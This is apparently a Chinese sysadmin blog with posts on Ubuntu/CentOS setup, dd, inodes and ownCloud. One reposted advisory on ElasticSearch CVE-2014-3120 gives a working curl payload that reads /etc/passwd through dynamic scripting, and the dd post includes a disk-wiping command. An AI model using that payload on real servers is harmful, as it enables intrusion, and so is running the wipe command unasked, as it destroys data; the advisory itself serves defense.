4月 18

vSphere配置ubuntu12.04

1. 创建虚拟机文件,E1000网卡,加载iso安装镜像

2. 打开虚拟机,进行安装配置:
name server(DNS): XXX.XXX.XXX.XXX, Open SSH Server

3. 系统安装完毕,配置网络环境:
1.修改/etc/network/interfaces
auto eth0
iface eth0 inet static
address XXX.XXX.XXX.XXX.* #注:星号改为自己规划的ip段
gateway XXX.XXX.XXX.XXX
netmask XXX.XXX.XXX.XXX
2.重启网络服务 sudo /etc/init.d/networking restart
3.若需修改DNS地址,则编辑以下文件:/etc/resolv.conf
nameserver XXX.XXX.XXX.XXX
4. 至此可使用SSH连接

4. 安装VMware Tools
1.vShpere Client中选择安装VMware Tools
2.挂载iso镜像文件
sudo mount /dev/cdrom /mnt/cdrom
若/mnt/cdrom不存在则先创建目录:sudo mkdir /mnt/cdrom
3.工作目录转至/tmp,清空已存在的文件,解压安装包至本目录
tar zxpf /mnt/cdrom/VMwareTools-X.X.X-X.tar.gz
4.卸载iso镜像文件
sudo umount /dev/cdrom
5.运行安装脚本
sudo vmware-tools-distrib/vmware-install.pl

5. 快照备份

4月 14

Ubuntu开机开启永久swap空间

如果之前已经创建好swap文件的话,请开机时打开swap文件:

swapon /opt/images/swap

1.首先创建一个存放swap文件的文件夹:

mkdir /opt/images/

2.创建文件并初始化(2G足够):

dd if=/dev/zero of=/opt/images/swap bs=1024 count=2048000

3.将文件设置为swap属性,并开启它:

mkswap /opt/images/swap
swapon /opt/images/swap

4.我们可以用free -m查看现在的swap文件:

(以上四步为创建swap文件的过程,但是它的存在时间仅为重启之前。如果你重启ubuntu的话,它就会消失。对于内存很小的DO服务器而言,你装了很大的服务有时候连机器都开不了)

5.设置swap文件开机自启动,通过修改/etc/fstab文件,fstab文件具体功能请自行百度,这个文件用途很广,但这里只给出设置swap文件开机启动的方式:

sudo vim /etc/fstab

在该文件末尾添加如下内容:

/opt/images/swap   none   swap   sw   0

6.swap文件设置:
先查看swappiness进程:

cat /proc/sys/vm/swappiness

会返回一个0-100的值,作为一个使用swap文件的比值,通常来讲越接近100则占用内存越少,占用swap文件越多。所以进行操作消耗时间也就越多,运行也就越慢;0则相反。
可以根据需要来设置swappiness的键值,这里给出“暂时(temporary”和“永久(permanent”两种设置方法:

temp: sudo sysctl vm.swappiness=键值

perm: sudo vim /etc/sysctl.conf
在文件的结尾添加:
vm.swappiness=键值
4月 12

Linux 下的dd命令使用详解

一、dd命令的解释

dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换。
注意:指定数字的地方若以下列字符结尾,则乘以相应的数字:b=512;c=1;k=1024;w=2
参数注释:
1. if=文件名:输入文件名,缺省为标准输入。即指定源文件。< if=input file >
2. of=文件名:输出文件名,缺省为标准输出。即指定目的文件。< of=output file >
3. ibs=bytes:一次读入bytes个字节,即指定一个块大小为bytes个字节。
    obs=bytes:一次输出bytes个字节,即指定一个块大小为bytes个字节。
    bs=bytes:同时设置读入/输出的块大小为bytes个字节。
4. cbs=bytes:一次转换bytes个字节,即指定转换缓冲区大小。
5. skip=blocks:从输入文件开头跳过blocks个块后再开始复制。
6. seek=blocks:从输出文件开头跳过blocks个块后再开始复制。
注意:通常只用当输出文件是磁盘或磁带时才有效,即备份到磁盘或磁带时才有效。
7. count=blocks:仅拷贝blocks个块,块大小等于ibs指定的字节数。
8. conv=conversion:用指定的参数转换文件。
    ascii:转换ebcdic为ascii
     ebcdic:转换ascii为ebcdic
    ibm:转换ascii为alternate ebcdic
    block:把每一行转换为长度为cbs,不足部分用空格填充
    unblock:使每一行的长度都为cbs,不足部分用空格填充
    lcase:把大写字符转换为小写字符
    ucase:把小写字符转换为大写字符
    swab:交换输入的每对字节
     noerror:出错时不停止
     notrunc:不截短输出文件
    sync:将每个输入块填充到ibs个字节,不足部分用空(NUL)字符补齐。
二、dd应用实例
1.将本地的/dev/hdb整盘备份到/dev/hdd
#dd if=/dev/hdb of=/dev/hdd
2./dev/hdb全盘数据备份到指定路径的image文件
#dd if=/dev/hdb of=/root/image
3.将备份文件恢复到指定盘
#dd if=/root/image of=/dev/hdb
4.备份/dev/hdb全盘数据,并利用gzip工具进行压缩,保存到指定路径
#dd if=/dev/hdb | gzip > /root/image.gz
5.将压缩的备份文件恢复到指定盘
#gzip -dc /root/image.gz | dd of=/dev/hdb
6.备份与恢复MBR
备份磁盘开始的512个字节大小的MBR信息到指定文件:
#dd if=/dev/hda of=/root/image count=1 bs=512
   count=1指仅拷贝一个块;bs=512指块大小为512个字节。
恢复:
#dd if=/root/image of=/dev/had
将备份的MBR信息写到磁盘开始部分
7.备份软盘
#dd if=/dev/fd0 of=disk.img count=1 bs=1440k (即块大小为1.44M)
8.拷贝内存内容到硬盘
#dd if=/dev/mem of=/root/mem.bin bs=1024 (指定块大小为1k)  
9.拷贝光盘内容到指定文件夹,并保存为cd.iso文件
#dd if=/dev/cdrom(hdc) of=/root/cd.iso
10.增加swap分区文件大小
第一步:创建一个大小为256M的文件:
#dd if=/dev/zero of=/swapfile bs=1024 count=262144
第二步:把这个文件变成swap文件:
#mkswap /swapfile
第三步:启用这个swap文件:
#swapon /swapfile
第四步:编辑/etc/fstab文件,使在每次开机时自动加载swap文件:
/swapfile    swap    swap    default   0 0
11.销毁磁盘数据
#dd if=/dev/urandom of=/dev/hda1
注意:利用随机的数据填充硬盘,在某些必要的场合可以用来销毁数据。
12.测试硬盘的读写速度
#dd if=/dev/zero bs=1024 count=1000000 of=/root/1Gb.file
#dd if=/root/1Gb.file bs=64k | dd of=/dev/null
通过以上两个命令输出的命令执行时间,可以计算出硬盘的读、写速度。
13.确定硬盘的最佳块大小:
#dd if=/dev/zero bs=1024 count=1000000 of=/root/1Gb.file
#dd if=/dev/zero bs=2048 count=500000 of=/root/1Gb.file
#dd if=/dev/zero bs=4096 count=250000 of=/root/1Gb.file
#dd if=/dev/zero bs=8192 count=125000 of=/root/1Gb.file
通过比较以上命令输出中所显示的命令执行时间,即可确定系统最佳的块大小。
14.修复硬盘:
#dd if=/dev/sda of=/dev/sda 或dd if=/dev/hda of=/dev/hda
当硬盘较长时间(一年以上)放置不使用后,磁盘上会产生magnetic flux point,当磁头读到这些区域时会遇到困难,并可能导致I/O错误。当这种情况影响到硬盘的第一个扇区时,可能导致硬盘报废。上边的命令有可能使这些数 据起死回生。并且这个过程是安全、高效的。
15.利用netcat远程备份
#dd if=/dev/hda bs=16065b | netcat < targethost-IP > 1234
在源主机上执行此命令备份/dev/hda
#netcat -l -p 1234 | dd of=/dev/hdc bs=16065b
在目的主机上执行此命令来接收数据并写入/dev/hdc
#netcat -l -p 1234 | bzip2 > partition.img
#netcat -l -p 1234 | gzip > partition.img
以上两条指令是目的主机指令的变化分别采用bzip2、gzip对数据进行压缩,并将备份文件保存在当前目录。
将一个很大的视频文件中的第i个字节的值改成0x41(也就是大写字母A的ASCII值)
echo A | dd of=bigfile seek=$i bs=1 count=1 conv=notrunc
三、/dev/null和/dev/zero的区别
/dev/null,外号叫无底洞,你可以向它输出任何数据,它通吃,并且不会撑着!
/dev/zero,是一个输入设备,你可你用它来初始化文件。该设备无穷尽地提供0,可以使用任何你需要的数目——设备提供的要多的多。他可以用于向设备或文件写入字符串0。
/dev/null——它是空设备,也称为位桶(bit bucket)。任何写入它的输出都会被抛弃。如果不想让消息以标准输出显示或写入文件,那么可以将消息重定向到位桶。
#if=/dev/zero of=./test.txt bs=1k count=1
#ls –l
total 4
-rw-r–r–    1 oracle   dba          1024 Jul 15 16:56 test.txt
#find / -name access_log  2>/dev/null
3.1使用/dev/null 
把/dev/null看作”黑洞”, 它等价于一个只写文件,所有写入它的内容都会永远丢失.,而尝试从它那儿读取内容则什么也读不到。然而, /dev/null对命令行和脚本都非常的有用
禁止标准输出
#cat $filename >/dev/null
文件内容丢失,而不会输出到标准输出.
禁止标准错误
#rm $badname 2>/dev/null
这样错误信息[标准错误]就被丢到太平洋去了
禁止标准输出和标准错误的输出
#cat $filename 2>/dev/null >/dev/null
如果”$filename”不存在,将不会有任何错误信息提示;如果”$filename”存在, 文件的内容不会打印到标准输出。
因此,上面的代码根本不会输出任何信息。当只想测试命令的退出码而不想有任何输出时非常有用。
#cat $filename &>/dev/null
这样其实也可以, 由 Baris Cicek 指出
自动清空日志文件的内容
l Deleting contents of a file, but preserving the file itself, with all attendant permissions(from Example 2-1 and Example 2-3): 
#cat /dev/null > /var/log/messages
#  : > /var/log/messages   有同样的效果, 但不会产生新的进程.(因为:是内建的)
#cat /dev/null > /var/log/wtmp
隐藏cookie而不再使用
特别适合处理这些由商业Web站点发送的讨厌的”cookies”
#if [ -f ~/.netscape/cookies ]  # 如果存在则删除.
#then
#rm -f ~/.netscape/cookies
#fi
#ln -s /dev/null ~/.netscape/cookies
现在所有的cookies都会丢入黑洞而不会保存在磁盘上了.
3.2使用/dev/zero
像/dev/null一样, /dev/zero也是一个伪文件, 但它实际上产生连续不断的null的流(二进制的零流,而不是ASCII型的)。 写入它的输出会丢失不见, 而从/dev/zero读出一连串的null也比较困难, 虽然这也能通过od或一个十六进制编辑器来做到。 /dev/zero主要的用处是用来创建一个指定长度用于初始化的空文件,就像临时交换文件。
/dev/zero创建一个交换临时文件
#!/bin/bash
 # 创建一个交换文件.
 ROOT_UID=0 # Root 用户的 $UID 是 0.
 E_WRONG_USER=65 # 不是 root?
 FILE=/swap
 BLOCKSIZE=1024
 MINBLOCKS=40
 SUCCESS=0
 # 这个脚本必须用root来运行.
 if [ “$UID” -ne “$ROOT_UID” ]
   then
   echo; echo “You must be root to run this script.”; echo
   exit $E_WRONG_USER
 fi
 blocks=${1:-$MINBLOCKS} # 如果命令行没有指定,
 #+ 则设置为默认的40块.
 # 上面这句等同如:
 # ————————————————–
 # if [ -n “$1” ]
 # then
 # blocks=$1
 # else
 # blocks=$MINBLOCKS
 # fi
 # ————————————————–
 if [ “$blocks” -lt $MINBLOCKS ]
 then
 blocks=$MINBLOCKS # 最少要有 40 个块长.
 fi
 echo “Creating swap file of size $blocks blocks (KB).”
 dd if=/dev/zero of=$FILE bs=$BLOCKSIZE count=$blocks # 把零写入文件.
 mkswap $FILE $blocks # 将此文件建为交换文件(或称交换分区).
 swapon $FILE # 激活交换文件.
 echo “Swap file created and activated.”
 exit $SUCCESS 
关于 /dev/zero 的另一个应用是为特定的目的而用零去填充一个指定大小的文件, 如挂载一个文件系统到环回设备 (loopback device)或”安全地” 删除一个文件
例子创建ramdisk
#!/bin/bash
 # ramdisk.sh
 # “ramdisk”是系统RAM内存的一段,
 #+ 它可以被当成是一个文件系统来操作.
 # 它的优点是存取速度非常快 (包括读和写).
 # 缺点: 易失性, 当计算机重启或关机时会丢失数据.
 #+ 会减少系统可用的RAM.
 # 10 # 那么ramdisk有什么作用呢?
 # 保存一个较大的数据集在ramdisk, 比如一张表或字典,
 #+ 这样可以加速数据查询, 因为在内存里查找比在磁盘里查找快得多.
 E_NON_ROOT_USER=70 # 必须用root来运行.
 ROOTUSER_NAME=root
 MOUNTPT=/mnt/ramdisk
 SIZE=2000 # 2K 个块 (可以合适的做修改)
 BLOCKSIZE=1024 # 每块有1K (1024 byte) 的大小
 DEVICE=/dev/ram0 # 第一个 ram 设备
 username=`id -nu`
 if [ “$username” != “$ROOTUSER_NAME” ]
 then
    echo “Must be root to run \”`basename $0`\”.”
    exit $E_NON_ROOT_USER
 fi
   if [ ! -d “$MOUNTPT” ] # 测试挂载点是否已经存在了,
 then #+ 如果这个脚本已经运行了好几次了就不会再建这个目录了
    mkdir $MOUNTPT #+ 因为前面已经建立了.
 fi
 dd if=/dev/zero of=$DEVICE count=$SIZE bs=$BLOCKSIZE
   # 把RAM设备的内容用零填充.                                               
   # 为何需要这么做?
 mke2fs $DEVICE # 在RAM设备上创建一个ext2文件系统.
 mount $DEVICE $MOUNTPT # 挂载设备.
 chmod 777 $MOUNTPT # 使普通用户也可以存取这个ramdisk.
 # 但是, 只能由root来缷载它.
 echo “\”$MOUNTPT\” now available for use.”
 # 现在 ramdisk 即使普通用户也可以用来存取文件了.
 # 注意, ramdisk是易失的, 所以当计算机系统重启或关机时ramdisk里的内容会消失.
 # 拷贝所有你想保存文件到一个常规的磁盘目录下.
 # 重启之后, 运行这个脚本再次建立起一个 ramdisk.
 # 仅重新加载 /mnt/ramdisk 而没有其他的步骤将不会正确工作.
 # 如果加以改进, 这个脚本可以放在 /etc/rc.d/rc.local,
 #+ 以使系统启动时能自动设立一个ramdisk.
 # 这样很合适速度要求高的数据库服务器.
 exit 0
4月 12

inode的理解

文件名 -> inode -> device block

 

转自:
http://www.ruanyifeng.com/blog/2011/12/inode.html
http://blog.s135.com/post/295/
http://hi.baidu.com/leejun_2005/blog/item/d9aa13a53b3af6e99152ee7e.html

一、inode是什么?

理解inode,要从文件储存说起。
文件储存在硬盘上,硬盘的最小存储单位叫做”扇区”(Sector)。每个扇区储存512字节(相当于0.5KB)。

 

操作系统读取硬盘的时候,不会一个个扇区地读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个”块”(block)。这种由多个扇区组成的”块”,是文件存取的最小单位。”块”的大小,最常见的是4KB,即连续八个 sector组成一个 block。

 

文件数据都储存在”块”中,那么很显然,我们还必须找到一个地方储存文件的元信息,比如文件的创建者、文件的创建日期、文件的大小等等。这种储存文件元信息的区域就叫做inode,中文译名为”索引节点”。

 

二、inode的内容
inode包含文件的元信息,具体来说有以下内容:
  * 文件的字节数
  * 文件拥有者的User ID
  * 文件的Group ID
  * 文件的读、写、执行权限
  * 文件的时间戳,共有三个:ctime指inode上一次变动的时间,mtime指文件内容上一次变动的时间,atime指文件上一次打开的时间。
  * 链接数,即有多少文件名指向这个inode
  * 文件数据block的位置

 

可以用stat命令,查看某个文件的inode信息:
stat example.txt
总之,除了文件名以外的所有文件信息,都存在inode之中。至于为什么没有文件名,下文会有详细解释。

 

三、inode的大小
inode也会消耗硬盘空间,所以硬盘格式化的时候,操作系统自动将硬盘分成两个区域。一个是数据区,存放文件数据;另一个是inode区(inode table),存放inode所包含的信息。
每个inode节点的大小,一般是128字节或256字节。inode节点的总数,在格式化时就给定,一般是每1KB或每2KB就设置一个inode。假定在一块1GB的硬盘中,每个inode节点的大小为128字节,每1KB就设置一个inode,那么inode table的大小就会达到128MB,占整块硬盘的12.8%。

 

查看每个硬盘分区的inode总数和已经使用的数量,可以使用df命令。
df -i
查看每个inode节点的大小,可以用如下命令:
sudo dumpe2fs -h /dev/hda | grep “Inode size”
由于每个文件都必须有一个inode,因此有可能发生inode已经用光,但是硬盘还未存满的情况。这时,就无法在硬盘上创建新文件。

 

四、inode号码
每个inode都有一个号码,操作系统用inode号码来识别不同的文件。

 

这里值得重复一遍,Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件。对于系统来说,文件名只是inode号码便于识别的别称或者绰号。表面上,用户通过文件名,打开文件。实际上,系统内部这个过程分成三步:首先,系统找到这个文件名对应的inode号码;其次,通过inode号码,获取inode信息;最后,根据inode信息,找到文件数据所在的block,读出数据。

使用ls -i命令,可以看到文件名对应的inode号码:

ls -i example.txt

 

五、目录文件
Unix/Linux系统中,目录(directory)也是一种文件。打开目录,实际上就是打开目录文件。

 

目录文件的结构非常简单,就是一系列目录项(dirent)的列表。每个目录项,由两部分组成:所包含文件的文件名,以及该文件名对应的inode号码。

 

ls命令只列出目录文件中的所有文件名:
ls /etc
ls -i命令列出整个目录文件,即文件名和inode号码:
ls -i /etc
如果要查看文件的详细信息,就必须根据inode号码,访问inode节点,读取信息。ls -l命令列出文件的详细信息。
ls -l /etc

 

六、硬链接
一般情况下,文件名和inode号码是”一一对应”关系,每个inode号码对应一个文件名。但是,Unix/Linux系统允许,多个文件名指向同一个inode号码。这意味着,可以用不同的文件名访问同样的内容;对文件内容进行修改,会影响到所有文件名;但是,删除一个文件名,不影响另一个文件名的访问。这种情况就被称为”硬链接”(hard link)。

ln命令可以创建硬链接:

ln 源文件 目标文件
运行上面这条命令以后,源文件与目标文件的inode号码相同,都指向同一个inode。inode信息中有一项叫做”链接数”,记录指向该inode的文件名总数,这时就会增加1。反过来,删除一个文件名,就会使得inode节点中的”链接数”减1。当这个值减到0,表明没有文件名指向这个inode,系统就会回收这个inode号码,以及其所对应block区域。

 

这里顺便说一下目录文件的”链接数”。创建目录时,默认会生成两个目录项:”.”和”..”。前者的inode号码就是当前目录的inode号码,等同于当前目录的”硬链接”;后者的inode号码就是当前目录的父目录的inode号码,等同于父目录的”硬链接”。所以,任何一个目录的”硬链接”总数,总是等于2加上它的子目录总数(含隐藏目录),这里的2是父目录对其的“硬链接”和当前目录下的”.硬链接“。

 

七、软链接
除了硬链接以外,还有一种特殊情况。文件A和文件B的inode号码虽然不一样,但是文件A的内容是文件B的路径。读取文件A时,系统会自动将访问者导向文件B。因此,无论打开哪一个文件,最终读取的都是文件B。这时,文件A就称为文件B的”软链接”(soft link)或者”符号链接(symbolic link)。

 

这意味着,文件A依赖于文件B而存在,如果删除了文件B,打开文件A就会报错:”No such file or directory”。这是软链接与硬链接最大的不同:文件A指向文件B的文件名,而不是文件B的inode号码,文件B的inode”链接数”不会因此发生变化。

 

ln -s命令可以创建软链接。
ln -s 源文文件或目录 目标文件或目录

 

八、inode的特殊作用
由于inode号码与文件名分离,这种机制导致了一些Unix/Linux系统特有的现象。
  1. 有时,文件名包含特殊字符,无法正常删除。这时,直接删除inode节点,就能起到删除文件的作用。
  2. 移动文件或重命名文件,只是改变文件名,不影响inode号码。
  3. 打开一个文件以后,系统就以inode号码来识别这个文件,不再考虑文件名。因此,通常来说,系统无法从inode号码得知文件名。
      第3点使得软件更新变得简单,可以在不关闭软件的情况下进行更新,不需要重启。因为系统通过inode号码,识别运行中的文件,不通过文件名。更新的时候,新版文件以同样的文件名,生成一个新的inode,不会影响到运行中的文件。等到下一次运行这个软件的时候,文件名就自动指向新版文件,旧版文件的inode则被回收。

 

九 实际问题

在一台配置较低的Linux服务器(内存、硬盘比较小)的/data分区内创建文件时,系统提示磁盘空间不足,用df -h命令查看了一下磁盘使用情况,发现/data分区只使用了66%,还有12G的剩余空间,按理说不会出现这种问题。 后来用df -i查看了一下/data分区的索引节点(inode),发现已经用满(IUsed=100%),导致系统无法创建新目录和文件。

 

 

查找原因:

/data/cache目录中存在数量非常多的小字节缓存文件,占用的Block不多,但是占用了大量的inode。

 

解决方案:
1、删除/data/cache目录中的部分文件,释放出/data分区的一部分inode。
2、用软连接将空闲分区/opt中的newcache目录连接到/data/cache,使用/opt分区的inode来缓解/data分区inode不足的问题:
ln -s /opt/newcache /data/cache

4月 09

[转]Ubuntu下添加开机启动脚本

Ubuntu开机之后会执行/etc/rc.local文件中的脚本,

所以我们可以直接在/etc/rc.local中添加启动脚本。

当然要添加到语句:exit 0 前面才行。

 

如:

sudo vi /etc/rc.local

然后在 exit 0 前面添加好脚本代码。

 

后续有空再研究下添加一个Ubuntu的开机启动服务看看。

如果要添加为开机启动执行的脚本文件,

可先将脚本复制或者软连接/etc/init.d/目录下,

然后用:update-rc.d xxx defaults NN命令(NN为启动顺序),

将脚本添加到初始化执行的队列中去。

注意如果脚本需要用到网络,则NN需设置一个比较大的数字,

如98 。

4月 07

[转]Open edX 用户注意防范ElasticSearch远程任意代码执行漏洞

请各位edx用户 注意CVE: CVE-2014-3120
edx默认会安装含有漏洞的版本(main.yml#L6),官方虽然意识到了这个漏洞 (elasticsearch.yml.j2#L19),并且尝试修复了 但是只在集群安装时(main.yml#L65)才会用到他们的防御代码,所以如果各位使用configuration部署Open edX,将会是安装的含有漏洞的版本,受影响edX版本可追溯到去年(2013)9月

原理

这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。

检测方法

在线检测:

http://tool.scanv.com/es.html 可以检测任意地址
http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上

自己手动检测:

curl -XPOST ‘http://localhost:9200/_search?pretty’ -d ‘
{
“size”: 1,
“query”: {
“filtered”: {
“query”: {
“match_all”: {}
}
}
},
“script_fields”: {
“/etc/hosts”: {
“script”: “import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\”/etc/hosts\”)).useDelimiter(\”\\\\Z\”).next();”
},
“/etc/passwd”: {
“script”: “import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\”/etc/passwd\”)).useDelimiter(\”\\\\Z\”).next();”
}
}
}

处理办法

关掉执行脚本功能,在配置文件/etc/elasticsearch/elasticsearch.yml里为每一个结点都加上:

1 script.disable_dynamic: true

然后重启服务:

1 sudo service elasticsearch restart

参见:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方会在1.2版本默认关闭动态脚本

参见:

https://github.com/elasticsearch/elasticsearch/issues/5853

参考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

http://bouk.co/blog/elasticsearch-rce/

4月 07

[Linux]更改terminal中Bash提示字符串

昨晚实验室讲了讲Git,由于讲师的Terminal中Bash提示字符串过长导致各位童鞋看不清他输入的命令。下面讲一下如何修改此提示字符串:

首先说明,Bash提示字符串bash

配置此内容的文件是~/.bashrc (修改时需要sudo)

首先备份一下此文件:

 

sudo cp ~/.bashrc ~/.bashrc.bk

 

接下来,修改文件:

sudo vim ~/.bashrc

 

我用vim,所以可以用”?PS1=”来定位。

else
PS1=’${debian_chroot:+($debian_chroot)}\u@\h:\w\$ ‘

我们需要修改的是这样一段语句。(其他的请不要修改)

修改@前后的内容即可。

 

比如:

PS1=’我就不行我就BB:\w\$ ‘

如果你的linux支持中文,我们会看到如下内容:

bash1

 

Enjoy it!

2015-04-07 11:43:07屏幕截图

4月 06

Ubuntu清华源(sources.list

# deb cdrom:[Ubuntu 12.04.4 LTS _Precise Pangolin_ – Release amd64 (20140204)]/ dists/precise/main/binary-i386/
# deb cdrom:[Ubuntu 12.04.4 LTS _Precise Pangolin_ – Release amd64 (20140204)]/ dists/precise/restricted/binary-i386/
# deb cdrom:[Ubuntu 12.04.4 LTS _Precise Pangolin_ – Release amd64 (20140204)]/ precise main restricted

#deb cdrom:[Ubuntu 12.04.4 LTS _Precise Pangolin_ – Release amd64 (20140204)]/ dists/precise/main/binary-i386/
#deb cdrom:[Ubuntu 12.04.4 LTS _Precise Pangolin_ – Release amd64 (20140204)]/ dists/precise/restricted/binary-i386/
#deb cdrom:[Ubuntu 12.04.4 LTS _Precise Pangolin_ – Release amd64 (20140204)]/ precise main restricted

# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise main restricted
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise main restricted

## Major bug fix updates produced after the final release of the
## distribution.
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise-updates main restricted
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise-updates main restricted

## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise universe
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise universe
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise-updates universe
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise-updates universe

## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise multiverse
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise multiverse
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise-updates multiverse
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise-updates multiverse

## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise-backports main restricted universe multiverse
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ precise-backports main restricted universe multiverse

deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu precise-security main restricted
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu precise-security main restricted
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu precise-security universe
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu precise-security universe
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu precise-security multiverse
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu precise-security multiverse

## Uncomment the following two lines to add software from Canonical’s
## ‘partner’ repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
# deb http://archive.canonical.com/ubuntu precise partner
# deb-src http://archive.canonical.com/ubuntu precise partner

## Uncomment the following two lines to add software from Ubuntu’s
## ‘extras’ repository.
## This software is not part of Ubuntu, but is offered by third-party
## developers who want to ship their latest software.
# deb http://extras.ubuntu.com/ubuntu precise main
# deb-src http://extras.ubuntu.com/ubuntu precise main

4月 05

CentOS 6.6上安装及配置owncloud

0.安装centOS (ver.6.6)

1.CentOS配置IP:
setup配置ip mask等,vim /etc/sysconfig/network-scripts/ifcfg-eth0
设置ONBOOT=yes

2.安装Vmware tools:
现在vsphere里安装vmware tools挂载好安装程序,然后:
执行下面的命令:
mkdir /mnt/cdrom
mount -t iso9660 /dev/cdrom /mnt/cdrom
cd /mnt/cdrom
tar -zxvf VMwareTools-*.tar.gz -C /tmp
cd /tmp/vmware-tools-distrib
umount /mnt/cdrom
yum install perl
./vmware-install.pl
根据提示选择yes/no

3.修改yum源(以163为例)

进入存放源配置的文件夹
cd /etc/yum.repos.d

备份默认源
mv ./CentOS-Base.repo ./CentOS-Base.repo.bak

使用wget下载163的源 http://mirrors.163.com/.help/centos.html
wget http://mirrors.163.com/.help/CentOS6-Base-163.repo

4.安装MySQL:
yum install mysql mysql-server

开机自启动:
chkconfig –levels 235 mysqld on[root@localhost ~]# /etc/init.d/mysqld start

开启MySQL:
service mysqld start

设置MySQL密码:
mysql_secure_installation

登录mysql
mysql -u root -p XXXXXX

5.安装Apache:
安装httpd:
yum install httpd

开机自启动:
chkconfig –levels 235 httpd on

开启httpd:
service httpd start

6.安装PHP:
yum install php

安装相关模块:
yum install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring

重启Apache,使其生效:
service httpd restart

7.安装ownCloud(自动):
cd /etc/yum.repos.d/
wget http://download.opensuse.org/repositories/isv:ownCloud:community/CentOS_CentOS-6/isv:ownCloud:community.repo
yum install owncloud
7*.安装ownCloud(手动):
cd /etc/yum.repos.d/

安装lrzsz:
yum install lrzsz

手工下载owncloud后上传至服务器:
(Xshell直接拖动进)

安装ownCloud:
tar -xjvf owncloud-X.X.X.tar.bz2 -C /var/www/html/
(版本号具体而定)

8.启动owncloud:
为Web服务器上文件目录设置读写权限:
chown -R apache.apache /var/www/html/owncloud/

创建数据库:
登录:
mysql -u root -p
键入:
mysql> create database owncloud;
mysql> create user ‘owncloud’@’xx.xx.xx.xx’ identified by’databasepassword’;(自己设置pswd)
mysql> grant all on owncloud.* to ‘owncloud’@’xx.xx.xx.xx’;
mysql> flush privileges;
mysql> quit;

编辑外部配置文件:
vim /etc/httpd/conf.d/owncloud.conf

键入:
————————————————–
Alias /owncloud /var/www/html/owncloud
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
allow from all
————————————————–